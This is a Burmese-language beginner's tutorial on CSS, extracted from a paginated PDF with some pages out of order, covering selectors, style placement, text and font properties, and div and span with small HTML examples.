ပုိရွင္းေအာင္ နမူနာတစ္ခုၾကည့္လုိက္ပါ …
<html>
<head>
<style type="text/css">
body {background-color: black; color: white;}
p {text-indent: 1cm; font-family: Zawgyi-one;}
</style>
</head>
<body>
<p>
ကြ်န္ေတာ္ကေတာ့ ရာမညဖိုးလျပည့္ပါ ။ ရာမညဆိုေတာ့ မြန္ကလား ? ဟုတ္ပါတယ္ ။ ကြ်န္ေတာ္ ေမာ္လၿမိဳင္ဇာတိပါ
။ကြ်န္ေတာ္ကေတာ့ 2005 မွာ BE ( Electronic ) နဲ႕ ေက်ာင္းၿပီးပါတယ္ ။ ေက်ာင္းၿပီးကတည္းက အီလက္ထရြန္းနဲ႕
အလွမ္းေ၀းေနတာပါ ။ ဟိုစပ္စပ္ သည္စပ္စပ္ အားႀကီး လုပ္တယ္ ။ တစ္ခုမွ ေကာင္းေကာင္းကန္းကန္း မသိဘူး ။
ေမြးရာပါ အားနည္းခ်က္တစ္ခုကေတာ့ ရုပ္ေခ်ာ၊ သေဘာေကာင္း ပါ။
</p>
</body>
</html>
www.phoelapyae.com 44
44 ရာမညဖိုးလျပည့္
Control the letters in a text
ဒါကေတာ့ စာလံုးေတြကုိ Uppercase , Lowercase , စာလံုးအႀကီး ေျပာင္းတာေတြလုပ္ရင္ text-transform ဆိုတဲ့ style
tag ကိုအသံုျပဳပါတယ္… ေရးပံုကေတာ့ ..
<style>
p.uppercase {text-transform: uppercase}
p.lowercase {text-transform: lowercase}
p.capitalize {text-transform: capitalize}
</style>
နမူနာကိုေတာ့ ေရးမျပေတာ့ပါဘူး … uppercase ဆို စာလံုးအႀကီးေပါ့ .. class selector ကရွင္းျပၿပီးသားပါ .. ဒါေၾကာင့္
p.uppercase ဆိုတာလဲ သေဘာေပါက္မယ္ထင္ပါတယ္ ....
www.phoelapyae.com 45
45 ရာမညဖိုးလျပည့္
Set the text direction of an element
ဒါကေတာ့ စာသားေတြကုိ ဘယ္ဘက္ကေနပဲစေရးခ်င္တာမ်ိဳး၊ ဒါမွမဟုတ္ ညာဘက္ကေနပဲ စေရးခ်င္တဲ့ေနရာမ်ိဳးမွာ
အသံုးျပဳပါတယ္…ေရးနည္းထံုးစံကေတာ့
<style>
div.one {direction: rtl}
div.two {direction: ltr}
</style>
အဲလိုပါ …. ဒီေနရာမွာ div class ကုိရွင္းျပစရာမလိုေတာ့ဘူးလို႕ ထင္ပါတယ္ .. မိမိကိုယ္တိုင္သာေရးၾကည့္လိုက္ပါ …
Word-spacing Property
ဒါကေတာ့ စာလံုးတစ္လံုးေနရာျခားခ်င္ရင္ အသံုးျပဳတာပါ …. ေရးတာကေတာ့ ဒီလိုေလးပါ ..
<html>
<head>
<style type="text/css">
p
{
word-spacing: 30px
}
</style>
</head>
<body>
<p>
This is some text. This is some text.
www.phoelapyae.com 46
46 ရာမညဖိုးလျပည့္
</p>
</body>
</html>
ဒါဟာဆိုရင္ စာပိုဒ္မွာရွိတဲ့ စာလံုးတစ္လံုးန႕ဲ တစ္လံုးကုိ 30px ျခားေပးမွာျဖစ္ပါတယ္ .. px ဆိုတာဘာဆိုလိုတာဆိုတာ
ကြ်န္ေတာ္အေပၚမွာ ရွင္းျပၿပီးသားပါ ….
White-space Property in Text
နမူနာတစ္ခု ၾကည့္လုိက္ပါ .. ျပန္ေျပာျပဖို႕ ေတာ္ေတာ္ခက္လိမ့္မယ္ ျဖစ္ေနလို႕ ပါ …
<html>
<head><title>white-space Demonstration</title>
<style type="text/css">
p.normal
{
white-space:normal;
}
p.pre
{
white-space:pre;
}
p.nowrap
{
www.phoelapyae.com 47
47 ရာမညဖိုးလျပည့္
white-space:nowrap;
}
</style>
</head>
<body>
<h1><p>white-space demonstration</p></h1>
<p class="normal">This is the normal value for the white-space property. This is
the normal value for the white-space property. This is the normal value for the
white-space property. This is the normal value for the white-space
property.</p><br/>
<p class="pre">This is the pre value for the white-space
property.</p><br/>
<p class="nowrap">This is the nowrap value for the white-space property. This
is the nowrap value for the white-space property. This is the nowrap value for
the white-space property. This is the nowrap value for the white-space
property.</p>
www.phoelapyae.com 48
48 ရာမညဖိုးလျပည့္
</body>
</html>
ဒီေနရာမွာ
p.normal {white-space: normal} ဆိုတာက စာသားေတြကုိ အဆံုးထိေရာက္ရင္ ေအာက္တစ္ေၾကာင္းကူးသြားတာပါ ။
wrap ဆိုတဲ့ အတုိင္း စာသားေတြကို ေဘာင္အတြင္းမွာထည့္သြင္းေဖာ္ျပတာပါ ..… သူကေတာ့ white-space တန္ဖိုးရဲ႕
default တန္ဖိုးပါပဲ … notepad မွာပါတဲ့ Word Wrap လိုေပါ့ …
p.nowrap {white-space: nowrap} ကေတာ့ nowrap ဆိုတဲ့အတုိင္း ေနာက္တစ္ေၾကာင္းမဆင္းမခ်င္း စာသားေတြက
ေဘာင္ေက်ာ္ၿပီးဆက္သြားေနမွာပဲ …. ေနာက္တစ္ေၾကာင္းဆင္းမွ <br> tag သံုးမွသာ ဆင္းမွာပါ …
p.pre {white-space: pre} ကေတာ့ HTML tag မွာပါတဲ့ <pre> နဲ႕ တူပါတယ္ .. သူက စာတစ္ေၾကာင္းနဲ႕
တစ္ေၾကာင္းကုိ ျခားေပးတာပါ …
CSS Font
အခုဆိုရင္ ကြ်န္ေတာ္ေဆြးေႏြးခဲ့တာဟာ
CSS ေရးထံုးေရးနည္း ၊
www.phoelapyae.com 49
49 ရာမညဖိုးလျပည့္
CSS ကုိ webpage မွာ apply လုပ္နည္း၊
ေနာက္ခံ အေရာင္၊ ပံုထည့္ျခင္း၊
စာသားေရးျခင္း အမ်ိဳးမ်ိဳး တို႕ ကို ေဆြးေႏြးၿပီး ျဖစ္ပါတယ္ …
အခုဆက္လက္ၿပီး Font အပိုင္းကို ဆက္လက္ေဆြးေႏြးပ့ါမယ္ ….
CSS Font မွာ စာလံုးဆိုက္ ၊ အေရာင္ ၊ စတိုင္ စသျဖင့္ မ်ားစြာေျပာင္းလဲနိုင္ပါတယ္ … သူ႕ ရဲ႕ property ေတြကေတာ့
font-style
font-family
font-size
font-size-adjust
font-stretch
font-variant
font-weight တို႕ ျဖစ္က်ပါတယ္ …
Font Color
ပထမဦးဆံုး ဖြန္႕ ကာလာကုိ အရင္ဆံုးလုပ္ၾကည့္ရေအာင္ ..
h4 {color: red}
h5 {color: #9000A1}
h6 {color: rgb(0,220,98)}
www.phoelapyae.com 50
50 ရာမညဖိုးလျပည့္
ဒါကေတာ့ အေထြအထူး ရွင္းျပစရာမလုိဘူးထင္ပါတယ္ …. အေရာင္ထည့္တာက ရွင္းျပၿပီးသားပါ ..
CSS font family
Web page ေတြကုိ မိမိစိတ္ႀကိဳက္ font ေတြနဲ႕ သတ္မွတ္ခ်င္ရင္ သံုးနုိင္ပါတယ္ …ေရးသားပံုကေတာ့ ..
font-family: Arial;
တကယ္လို႕ ဖြန္႕ တစ္မ်ိဳးထက္ပိုလာရင္ ေကာ္မာ ခံေရးပါတယ္ ..
font-family: Zawgyi-one, Arial, Pussycat;
ေနာက္တစ္ခုက ဖြန္႕ နာမည္က စာလံုး တစ္လံုးထက္ပုိရင္ရင္ အဖြင့္အပိတ္ နဲ႕ ေရးပါတယ္..
font-family: Zawgyi-one, Arial, “ludida console”,sans-serif;
ps: font-family တြင္ အရင္ဆံုးလာေသာဖြန္႕ မွစ၍ ဖြန္႕ အားလံုးကုိ format ခ်ပါသည္ …
အေပၚကေရးထားေသာ style တြင္ Zawgyi-one ကိုအရင္ဆံုး format ခ်ပါတယ္ .. မရွိမွ ေနာက္ဒုတိယျဖစ္တဲ့ Arial ကုိ
format ခ်ပါတယ္…
<style>
p
{
font-family: Zawgyi-one, Arial;
color: red;
}
</style>
ဒါဟာဆိုရင္ စာပုဒ္တစ္ခုလံုးက ဖြန္႕ ေဇာ္ဂ်ီျဖစ္ၿပီး စာသားအေရာင္က အနီေရာင္ အျဖစ္ format ခ်ေပးမွာ ျဖစ္ပါတယ္ ….
Font-size
စာလံုးဆိုက္သတ္မွတ္ခ်င္ရင္သံုးတာပါ ….. property ေတြကေတာ့ေအာက္ပါအတိုင္းပါ ..
www.phoelapyae.com 51
51 ရာမညဖိုးလျပည့္
xx-small
x-small
small
medium
large
x-large
xx-large
smaller
larger
length
%
ေရးသားပံုကေတာ့ …
<style>
font-size: xx-small;
</style>
စသျဖင့္ အဲလုိမ်ိဳး ေရးသားပါတယ္ … သူရဲ႕ ဖြန္႕ တန္ဖိုးသတ္မွတ္ခ်က္ေတြကေတာ့ ေအာက္ကလင့္မွာ
ဖတ္ၾကည့္စမ္းသပ္နုိင္ပါတယ္ …
http://htmlhelp.com/reference/css/font/font-size.html
http://www.fonttester.com/
xx-small ဆိုရင္ ဘယ္လိုဆိုက္၊ medium ဆိုရင္ ဘယ္လိုဆိုက္ စသျဖင့္ ေလ့လာၾကည္ပါ ….
http://www.w3.org/TR/REC-CSS2/fonts.html#propdef-font-size ဒါကေတာ့ ဖြန္႕ ဆိုက္သတ္မွတ္ခ်က္ပါ …
Font Size Adjust
တကယ္လို႕ မိမိစိတ္ႀကိဳက ္ ဖြန္႕ ဆိုက္ကို ထည့္ခ်င္တယ္ဆိုရင ္ number ေတြန႕ဲ ေရးလို႕ ရပါတယ ္ …
<style>
www.phoelapyae.com 52
52 ရာမညဖိုးလျပည့္
font-size-adjust: 0.50;
</style>
မိမိစိတ္ႀကိဳက္ ဖြန္႕ Length သတ္မွတ္ခ်င္းကုိလဲ ရွင္းျပၿပီးသားပါ … em, ex, px တို႕ နဲ႕ ေရးနုိင္ပါတယ္ ..
http://www.w3.org/TR/REC-CSS2/syndata.html#length-units
ျပန္ေလ့လာၾကည့္ပါ …
Font style
Font style ကေတာ့ သံုးမ်ိဳးရွိပါတယ္ ….. normal , italic , oblique ဆိုၿပီး .. ေရးသားပံုကေတာ့ ..
<style type="text/css">
h1 {font-style: italic}
h2 {font-style: normal}
p {font-style: oblique}
</style>
Output ကုိထုတ္ၾကည့္ပါက ဘယ္လို result ထြက္လဲဆိုတာ ၾကည့္ၿပီး သိနုိင္ပါတယ္ ... က်န္တာကိုေတာ့
ထပ္အေသးစိတ္မေဆြးေႏြးေတာ့ပါဘူး ... Font အပုိင္းကို ဒီေလာက္ပဲေဆြးေႏြးပါ့မယ္ .. လြယ္ပါတယ္ ...


www.phoelapyae.com 1
1 ရာမညဖိုးလျပည့္
CSS အေၾကာင္း တေစ့တ့တ့တေစာင္း္း္း
CSS ဆိုတာ Cascading Style Sheets ရဲ႕ အတိုေကာက္ပါ။
CSS အေၾကာင္းကို ေဆြးေႏြးမယ္ဆိုေတာ့ HTML ကုိနည္းနည္းပါးပါး နားလည္မွ ရပါမယ္။ HTML Tag ေတြကုိ
အနည္းအက်ဥ္း ေလ့လာေစလိုပါတယ္။ ဥပမာ <p>This is a paragraph</p> မွာ p ဆိုတာ paragraph ျဖစ္ပါတယ္။
အဲလိုမ်ိဳးေပါ့ ။ အနည္းအက်ဥ္းသိရင္ ပိုေကာင္းပါတယ္။
HTML ဆို <html> စၿပီး</html>နဲ႕ ဆံုးသလို CSS မွာလဲ <style>CSS</style>ဆိုၿပီးေရးပါတယ္။ ေနာက္တစ္ခု
မွတ္ထားရမွာကေတာ ႔ CSS Style code ဟာ head tag အတငြ ္းမွာပ ဲ ရိွရပါမယ။္ CSS စေရးမယ္ဆိုၿပီး
ဒီလိုေၾကာ္ျငာရပါတယ္။ </title> ၿပီးေတာ႔ </head> မဆံုးမီ ၾကားမွာေရးရမယ္။ဆိုလုိတာက </title> နဲ႕ </head>
ၾကားမွာ CSS style code ကိုေၾကာ္ျငာေပးရမွာပါ။ ဒီလိုေလးပါ ။
<head><title>My Test</title>
<style type=text/css>
<style>
</head>
CSS ကုိေရးမယ္ဆိုရင္ သူ႕ ရဲ႕ ေရးထံုးစည္းမ်ဥ္းကေတာ့
selector {property: value} ပါ။ အဲဒါကုိ ေရးမယ္ဆိုရင္
body {background-color: black}
ဒီေနရာမွာ
body -- > selector
property-- > backgroun-color
value -- > black
www.phoelapyae.com 2
2 ရာမညဖိုးလျပည့္
ျဖစ္ပါတယ္။ ေနာက္ပိုင္း အေခၚအေ၀ၚေတြ သံုးရင္ selector ၊ property ၊ value ေတြနဲ႕ သံုးမွာမို႕လို႕
ဘာကုိဆိုလိုတယ္သိေအာင္ မွတ္ထားဖို႕ လိုပါတယ္။
body {backgroun-color: black} အလုပ္လုပ္ပံုကေတာ့ body လို႕ ေရးထားတဲ့အတြက္ web pages တိုင္းရဲ႕ body
တိုင္းကို ေနာက္ခံအေရာင္ အမဲေရာင္အေနနဲ႕ သက္ေရာက္မွာ ျဖစ္ပါတယ္။
အစိမ္းေရာင္ထည့္ခ်င္တယ္ဆိုရင္ body {backgroun-color: green} ေပါ့။
တကယ္လို႕ value တန္ဖိုးဟာ စာလံုးတစ္လံုးထက္ပိုေနရင္ Double Quote အတြင္းထည့္ေရးပါတယ္။
P {font-family: “sans serif”}
ထို႕ နည္းအတူပဲ property မွာလဲ တစ္ခုထက္ပိုၿပီးထည့္ခ်င္ရင္ ( ; ) ေလး ထည့္ေရးရပါတယ္။
P {text-align:center; color: red}
ဒီေနရာမွာ p ဆုိတာက HTML Browser နားလည္တဲ ့pre defined fomatter tag လို႕ေခၚပါတယ္။ ဒါေၾကာင့္ p ဆိုရင္
paragraph ျဖစ္ၿပီး ၊ h1 ဆိုရင္ Header ျဖစ္ပါတယ္။ ဒီ့အတြက္ HTML Tag အခ်ိဳ႕ နားလည္ဖို႕ လိုပါတယ္။ ေစာေစာက
style ေတြ ရွင္းလင္းေအာင္ စုလုိက္မယ္ဆိုရင္
<style>
P
{
text-align: center;
color: red;
font-family: “sans serif”
}
</style>
www.phoelapyae.com 3
3 ရာမညဖိုးလျပည့္
Grouping
CSS မွာ selector ေတြကုိ style တူရာ အုပ္စုေလးေတြဖြဲ႕ နိုင္ပါတယ္။
h1,h2,h3,h4,h5,h6
{
color: red
}
h ဆိုတာ header ျဖစ္ၿပီး ဒီလိုေရးလုိက္ျခင္းအားျဖင့္ header အားလံုး အနီေရာင္
ေျပာင္းသြားမွာပါ။ကုတ္အမ်ားႀကီးေရးစရာ မလိုေတာ့ပဲ တူရာကိုစုစည္းလုိက္ျခင္းျဖင့္ တစ္ခါတည္းျဖင့္
အလုပ္ၿပီးေျမာက္ပါတယ္။
အခုသိၿပီးသား ကုတ္အနည္းငယ္နဲ႕ web page တစ္ခုဖန္တီးရေအာင္
<html>
<head><title>Example 1</title>
<style type="text/css">
body {background-color: yellow}
h1 {color: blue}
h2 {color: black}
h3 {color: red}
h4 {color: green}
P
{
text-align: center;
color: red;
www.phoelapyae.com 4
4 ရာမညဖိုးလျပည့္
font-family: Zawgyi-one
}
</style>
</head>
<body>
<h1>This header is 36 pt and color is blue</h1>
<h2>This header is black</h2>
<h3>This header is red</h3>
<h4>This header is green</h4>
<p>This paragraph is center of webpage and color is red and also font is
zaw gyi</p>
</body>
</html>
အထက္ပါကုတ္ကုိ notepad တြင္ save ၿပီး Save as type ကုိ All file ကိုေရြးၿပီး File name ကုိ example.html နဲ႕
ေပးလုိက္ပါ။ HTML ေရးထားေသာ page မ်ားကုိ .html နွင့္ .htm လို႕ ေပးမွသာ brower တြင္ ေပၚပါလိမ့္မည္။ ဒီလိုေလး
ရပါလိမ့္မယ္ ။
www.phoelapyae.com 5
5 ရာမညဖိုးလျပည့္
class Selector
class selector ကုိ web page တစ္ခုထဲမွာ style အမ်ိဳးမ်ိဳးသံုးခ်င္ရင္ ေရးပါတယ္။ ဥပမာ စာပိုဒ္ ၂ ပုဒ္ရွိရင္ ၁ ပုဒ္ကုိ
ဘယ္ဘက္ ၊ က်န္ ၁ ပုဒ္ကို အလယ္ထားခ်င္တာမ်ိဳးေပါ့။
p.right {text-align: right}
p.center {text-align: center}
ဒါဆိုရင္ style ကုိေၾကာ္ျငာယံုပဲရွိေသးတယ္။ ဘယ္စာပုဒ္ကုိ ဘယ္လက္၊ ဘယ္စာပုဒ္ကို အလယ္ဆိုတာ ေရးေပးရပါမယ္။
ဒါကို body မွာ ဒီလိုေခၚသံုးရပါတယ္။
<p class=”right”>
This paragraph will be right-aligned.
</p>
<p class=”center”>
This paragraph will be center-aligned.
</p>
ဒီေနရာမွာ ေျပာလုိတာက p.right {text-align: right} ဆိုတဲ့ေနရာမွာ p.right အစား p.yamanya {text-align: right}
ဆိုၿပီးေရးလုိ႕ ရပါတယ္ ။ ဒါဆိုေခၚသံုးရင္ေတာ့ ဒီလိုေလးမွရမွာေပါ့။
www.phoelapyae.com 6
6 ရာမညဖိုးလျပည့္
<p class=”yamanya”>
This paragraph will be right-aligned.
</p>
ဆိုလုိတာက class ကို ႀကိဳက္တဲ့နာမည္နဲ႕ assign လုပ္လို႕ ရတာကိုပါ။ ဒါေပမ ့ဲ Class name ရ့ဲအစကို
ကိန္းဂဏန္းေပးထားလို႔မရဘူး.. ေပးထားရင္ Mozila Firefox မွာ အလုပ္မလုပ္ပါဘူး။ဆက္ရေအာင္ ..
ဒီေနရာမွာ class selector ကုိ ထပ္တိုးေရးခ်င္ေသးတယ္ဆိုရင္ ေရးလို႕ ရပါေသးတယ္။
<p class=”center bold”>
This is a paragraph.
</p>
ေရးခဲ့တဲ့ class selector ထဲက selector ကိုခ်န္ၿပီး class သီးသန္႕ ပဲေရးၾကည့္ရေအာင္။ဒီလိုဆိုလိုတာပါ။
.center {text-align: center}
ဒါဆုိဘာထူးျခားသြားလဲ ?
Style မွာ အဲလို ေၾကာ္ျငာၿပီးသြားရင္ class=”center” ကုိေခၚသံုးတဲ့ အရာတိုင္း center ျဖစ္သြားေရာ။ေစာေစာကလို h1 ၊
h2 ၊ p စသည္တို႕ ကို center ထားခ်င္ရင္ တစ္ေၾကာင္းခ်င္းလိုက္ေရးရလိမ့္မယ္ ။ ဒါဆိုရင္ တစ္ေၾကာင္းတဲ့နဲ႕ ေရးခ်င္တဲ့
selector ကုိေခၚသံုးယံုပါပဲ။ ဒီလိုေလးပါ။
<h1 class=”center”>This heading will be center-align</h1>
<p class=”center”>This paragraph will also be center-aligned.</p>
www.phoelapyae.com 7
7 ရာမညဖိုးလျပည့္
Class selector နဲ႕ ပက္သက္ၿပီး web page တစ္ခုေရးၾကည့္ရေအာင္။
<html>
<head><title>Football</title>
<style type="text/css">
body {background-color: yellow}
p.left
{
text-align: left;
color: blue
}
p.yamanya
{
text-align: right;
color: red
}
.center
{
text-align: center;
color: green
www.phoelapyae.com 8
8 ရာမညဖိုးလျပည့္
}
</style>
</head>
<body>
<h1 class="center">Football Teams</h1>
<p class="center">Arsenal</p>
<p class="left">ManU</p>
<p class="yamanya">Chelsea</p>
</body>
</html>
အဲဒါကို result ထုတ္လုိုက္ရင္ ဒီလိုေလးပါ။
www.phoelapyae.com 9
9 ရာမညဖိုးလျပည့္
ဒီေနရာမွာ center ၂ ခုျဖစ္တဲ့ Football Teams နဲ႕ Arsenal တို႕ ကို .center {text-align: center}
တစ္ေၾကာင္းတည္းနဲ႕ ေၾကာ္ျငာနိုင္တာရယ္၊ class selector မွာ မိမိစိတ္ႀကိဳက္နာမည္ p.yamanya နဲ႕ ေရးထားတာကုိ
ျမင္ေစလိုပါတယ္။
id selector
ေစာေစာက သံုးခဲ့တဲ့ class selector ဆိုတာ HTML Tag ေတြကုိသာ apply လုပ္ပါတယ္။ ဒါေၾကာင့္လဲ selector ေရးရင္
(p, td, tr, h1, h2, …..) နဲ႕ ေရးရပါတယ္။ တကယ္လို႕ မိမိက မိမိစိတ္ႀကိဳက္နာမည္နဲ႕ assign လုပ္ခ်င္ရင္ id selector
ကုိသံုးပါတယ္။ id selecotr ကုိ define လုပ္ဖို႕ အတြက္ # ကုိထည့္ရပါတယ္။
#para
{
text-align: center;
color: blue
}
www.phoelapyae.com 10
10 ရာမညဖိုးလျပည့္
Tag အမည္ေတြျဖစ္တဲ့ (p, td, tr, h1, h2,…) စတာေတြကုိ အမည္မသံုးခ်င္လို႕ မိမိစိတ္ႀကိဳက္အမည္ကို id selector
သံုးၿပီးေရးထားတာပါ။ အဲလိုေၾကာ္ျငာၿပီးရင္ ေခၚသံုးရပါမယ္။
<p id=para>
This is paragraph.It will be centerd align and red color.
</p>
class selector လိုပဲ id selector လဲ အမည္နာမေတြကုိ ကိန္းဂဏန္းနဲ႕ စေပးလို႕ မရပါဘူး။
Comment
Comment ဆိုတာ မိမိေရးခဲ့တဲ့ကုတ္ဟာ ဘာအတြက္ေရးခဲ့တယ္ဆိုတာ မွတ္သားထားတာပါ။ေနာက္တစ္ခ်ိန္က်ရင္ မိမိက
ကုတ္ေတြျပန္ျပင္ရင္ မိမိေရးခဲ့တဲ့ comment ကိုၾကည့္ၿပီး ဒီကုတ္ဟာ ဘာအတြက္ေရးထားတယ္ဆိုတာ သိနုိင္ပါတယ္။
အဲလိုေရးထားတဲ့ comment က browser ေပၚမွာ ေပၚေနမွာမဟုတ္ပါဘူး။ ေရးၾကည့္ရေအာင္ ….
/* This is comment */
မိမိေရးခ်င္တဲ့စာသားကုိ /* နဲ႕ */ ၾကားမွာေရးရမွာပါ။
နမူနာၾကည့္ရေအာင္ ….
<html>
<head>
<title>My Love</title>
/* Styles are starting here */
<style>
/* This is codes for paragraph */
p
{
text-align: center;
color: white
www.phoelapyae.com 11
11 ရာမညဖိုးလျပည့္
}
</style>
</head>
<body bgcolor=black>
<p>I always remember u</p>
</body>
</html>
Browser မွာ comment ေရးထားတာ မေပၚတာကို ေတြ႕ ရပါမယ္။
Applying CSS
CSS style sheet နဲ႕ web pages ေတြကုိ format ခ်တဲ့ေနရာမွာ အၾကမ္းဖ်င္းအားျဖင့္ (၃)မ်ိဳး format ခ်လို႕ ရပါတယ္။
Inline , Internal , External ဆိုၿပီးေပ့ါ ။ Inline ဆိုတဲ့အတိုင္း HTML Tag တိုင္းမွာ CSS ကုိထည့္မွာ ၊ Internal ကေတာ့
ကြ်န္ေတာ္အေပၚမွာ ေရးခဲ့တဲ့ ကုတ္ေတြလို </title> နဲ႕ </head> ၾကားမွာေရးတာပါ၊ External ကေတာ့ style sheet
ေရးၿပီး web page တစ္ခုစီမွာ Link tag ေတြ ခ်ိတ္ၿပီး အဲဒီ style sheet ကုိေခၚသံုးမွာပါ။ဥပမာ wordpress
မွာသံုးထားတာလိုမ်ိဳးေပါ့။ style.css ကုိ ျပင္လိုက္တာနဲ႕ website တစ္ခုလံုးေျပာင္းလဲသြားနုိင္ပါတယ္ ။
အေသးစိတ္တစ္ခုခ်င္းေလ့လာရေအာင္ …..
In Line
In Line နဲ႕ ေရးမယ္ဆိုရင္ သက္ဆုိင္ရာ tag တစ္ခုထဲမွာပဲေရးပါတယ္။ဒီလိုပါ။
<p style=”color=blue; text-align: ceneter”>This is a paragraph</p>
ဒါဆိုရင္ သူ specify လုပ္ထားတဲ့ ဒီ tag တစ္ေၾကာင္းတည္းကိုသာ သက္ေရာက္မွာပါ။
အမ်ားအားျဖင့္ေတာ့ CSS ေရးေနမွေတာ့ ဒီလို inline ျဖစ္တဲ့ tag တစ္ေၾကာင္းအတြက္နဲ႕ သံုးက်တာ နည္းပါတယ္။
www.phoelapyae.com 12
12 ရာမညဖိုးလျပည့္
Internal
Embedded or Internal style ကေတာ့ စာမ်က္နွာတစ္ခုလံုးအတြက္ သံုးတာပါ ။ ဥပမာ blog လိုမ်ိဳးေပါ့။ အေပၚမွာ
ကြ်န္ေတာ္ေရးခဲ့တဲ့ example web page ေတြဟာ internal style နဲ႕ apply ေပးထားတာပါ။ Internal နဲ႕ ေရးၿပီးဆိုရင္
style sheet code ေတြက </title> နဲ႕ </head> ၾကားမွာ ေရးပါတယ္။ဒီလိုပါ။
<head><title>CSS Example</title>
<style type=”text/css”>
p {color: red; font-family: Zawgyi-one, Arial}
body {background-color: black}
</style>
</head>
External
External ကေတာ့ အေကာင္းဆံုးနည္းလမ္းပါ။ သူက ေရးၿပီးသား style sheet ကို link tag သံုးလွမ္းခ်ိတ္ၿပီး
ယူသံုးတဲ့နည္းပါ။ လွမ္းခ်ိတ္ဖို႕ အတြက္ အဲဒီ CSS file ကုိ <head> နဲ႕ </head> ၾကားမွာ Link tag
ကုိေၾကာ္ျငာေပးရမွာပါ ။ ဒီလိုေလးပါ ..
<head>
<link rel=”stylesheet” type=”text/css” href=”urfilename.css”/>
</head>
www.phoelapyae.com 13
13 ရာမညဖိုးလျပည့္
ေၾကာ္ျငာၿပီးရင္ ေခၚသံုးဖို႕ အတြက္ css ဖိုင္ကို ေရးပါမယ္။ ဥပမာ..
P
{
text-align: center;
color: white
}
A {color: blue}
အဲဒါကုိ notepad မွာ urfilename.css ဆိုတဲ့ *.css extension နဲ႕ save ရပါတယ္။ ဒါဆို urfilename.css ဆိုတဲ့ CSS
file တစ္ခုရပါမယ္။
ဒါဆိုရင္ browser က urfilename.css က ို သြားဖတ္ပါတယ္ ။ အဒဲ ီ urfilename.css ထဲကေရးထားတ့ဲအတိုင္း webpage
ေတြကုိ format ခ်ပါတယ္။ ပုိရွင္းသြားေအာင္ နမူနာ လုပ္ၾကည့္ရေအာင္ …
<html>
<head><title>Testion External Style</title>
<link rel="stylesheet" type="text/css" href="mystyle.css"/>
</head>
<body>
<h1>This is a header</h1>
<h2>This is also header with blue color</h2>
<p>This paragraph has a left margin of 50 pixels</p>
</body>
</html>
အဲဒါကို notedpad တြင္ example.html နဲ႕ save ပါ။
ဒါက styel sheet file(CSS) file ပါ။
www.phoelapyae.com 14
14 ရာမညဖိုးလျပည့္
body {background-color: yellow}
h1 {font-size: 36pt}
h2 {color: blue}
p {margin-left: 50px}
ဒါကုိ mystyle.css ဆိုတဲ့ နာမည္နဲ႕ save ပါ။ ၿပီးရင္ example.html ဖိုင္နဲ႕ mystyle.css ဖိုင္တို႕ ကုိ ဖိုဒါတစ္ခုထဲ
ထည့္ၿပီး example.html ဖိုင္ကုိ ဖြင့္ၾကည့္ပါက ဒီလိုိေလးေတြ႕ ရပါမယ္။
ဒါဟာဆိုရင္ example.html ဖိုင္ကုိ mystyle.css ဖိုင္က format ခ်လိုက္တာပါ။ မိမိကိုယ္တိုင္ေရးၾကည့္ၿပီး လုပ္ၾကည့္ပါ ။
သိလာပါလိမ့္မယ္။
ေနာက္ထပ္ နမူနာတစ္ခုေလာက္ ေလ့က်င့္ရေအာင္..
www.phoelapyae.com 15
15 ရာမညဖိုးလျပည့္
<html>
<head><title>Example</title>
<link rel="stylesheet" type="text/css" href="test.css" />
</head>
<body>
<h1>This is header<h1>
<p>This is a paragraph and this is a <a href="http://phoepyae.co.cc"
target="_blank">Phoe La Pyae Website</a></p>
<body>
<html>
ဒါကုိ example.html ဖိုင္နာမည္နဲ႕ save လိုက္ပါ။
body
{
background-color: black;
color: white;
}
p
{
font-size: 11pt;
font-family: Zawgyi-one, Arial;
www.phoelapyae.com 16
16 ရာမညဖိုးလျပည့္
}
a:link {color:green}
a:visited {color:yellow}
a:hover {color:green}
a:active {color:blue}
ဒါကုိ test.css ဖိုင္နာမည္နဲ႕ save လုိက္ပါ။ ၿပီးရင္ example.html ဖိုင္ကိုေခၚၾကည့္ပါ။ ဒီလိုေလးပါ။
ဒီေနရာမွာ a tag တစ္ခုပါလာပါတယ္။ မိမိရဲ႕ webpage မွာ link ထည့္မယ္ဆိုရင္ <a></a>tag ကို anchor
အျဖစ္တစ္ခုႏွင့္တစ္ခု ခ်ိတ္ဆက္အသုံးျပဳရန္အတြက္ အသုံးျပဳပါတယ္။လင့္ခ်ိတ္ခ်င္ရင္ <a href=” website
address”>Name</a> ဆိုတဲ့ ပံုစံနဲ႕ ေရးရတာပါ။ website address ဆိုတာ မိမိခ်ိတ္ခ်င္တဲ့ ဆုိက္ address ေပါ့။
ဒီေနရာမွာ <a href=”http://phoepyae.co.cc” target=”_blank”>Phoe La Pyae</a> ဆိုတဲ့ ေနရာမွာ
target=”_blank” ဆိုတာ new tag window အေနနဲ႕ အဲဒီဆိုက္ကုိ ေပၚေစမွာ ျဖစ္ပါတယ္။ test.css မွာေရးထာတဲ့ a
tag ကုိလဲ မႏွိပ္ခင္ ဘာအေရာင္၊ ႏွိပ္ရင္ ဘာအေရာင္ စသျဖင့္ ေလ့လာၾကည့ပါ။
CSS Division
www.phoelapyae.com 17
17 ရာမညဖိုးလျပည့္
အခု ကြ်န္ေတာ္တို႕ class and id selector ေတြအေၾကာင္း ေတာ္ေတာ္မ်ားမ်ား သိၿပီးျဖစ္ပါတယ္။ အခုဆက္လက္ၿပီး
အဲလို secelctor မ်ိဳးျဖစ္တဲ့ div and span ေတြကို နည္းနည္းေလ့လာၾကည့္ရေအာင္ …
Divisions
Division ကအမ်ားအားျဖင့္ html file ေတြကုိ define လုပ္ေလ့ရွိတယ္။ သူသည္လဲ class and id selector လိုပါပဲ ။
သံုးနည္းကုိၾကည့္လိုက္ရင္ ပုိရွင္းသြားမွာပါ။
<div id=”container”>
Site contents go here
</div>
အဲဒါကုိ CSS မွာက်ရင္ ဒီလိုေရးပါတယ္။
#container
{
width: 70%;
margin: auto;
padding: 20px;
border: 1px solid #600;
background: #ffffff;
}
အဲလိုေလးပါ။ id selector လိုမ်ိဳးေပါ့ ။ အဲဒီထဲမွာ ပါတဲ့ ကုတ္အခ်ိဳ႕ ေတြကုိ သက္ဆိုင္ရာ ေခါင္းစဥ္ေရာက္မွ အေသးစိတ္
ရွင္းပါ့မယ္။
Span
www.phoelapyae.com 18
18 ရာမညဖိုးလျပည့္
Spans ဟာ division tag လုိပါပဲ ။ ဒါေပမဲ့ span က Inline နဲ႕ apply လုပ္တဲ့ေနရာမွာပဲ အသံုးမ်ားပါတယ္။
တစ္ေၾကာင္းတည္းဆိုရင္ အသံုးမ်ားတာေပါ့ ။
